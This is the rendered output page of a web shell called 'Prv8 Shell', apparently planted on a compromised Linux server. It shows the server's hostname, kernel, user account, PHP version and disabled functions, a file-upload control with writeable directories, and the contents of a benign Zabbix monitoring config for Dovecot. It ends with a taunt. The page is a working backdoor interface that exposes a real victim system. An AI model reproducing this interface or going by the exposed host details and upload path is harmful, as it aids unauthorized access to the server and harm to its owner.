Prv8 Shell
Server : Apache
System : Linux vps.urbanovitalino.adv.br 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User : urbanovitalinoad ( 1001)
PHP Version : 7.3.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /etc/zabbix/zabbix_agentd.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //etc/zabbix/zabbix_agentd.d/dovecot.conf
UserParameter=dovecot-version,sudo dovecot --version | awk 'NR==1 {print $1}'
UserParameter=dovecot-imap-current-connections,sudo ps ax --no-headers | grep "dovecot/imap" | wc -l | awk '{print $0 - 2}'
UserParameter=dovecot-pop3-current-connections,sudo ps ax --no-headers | grep "dovecot/pop3" | wc -l | awk '{print $0}'

haha - 2025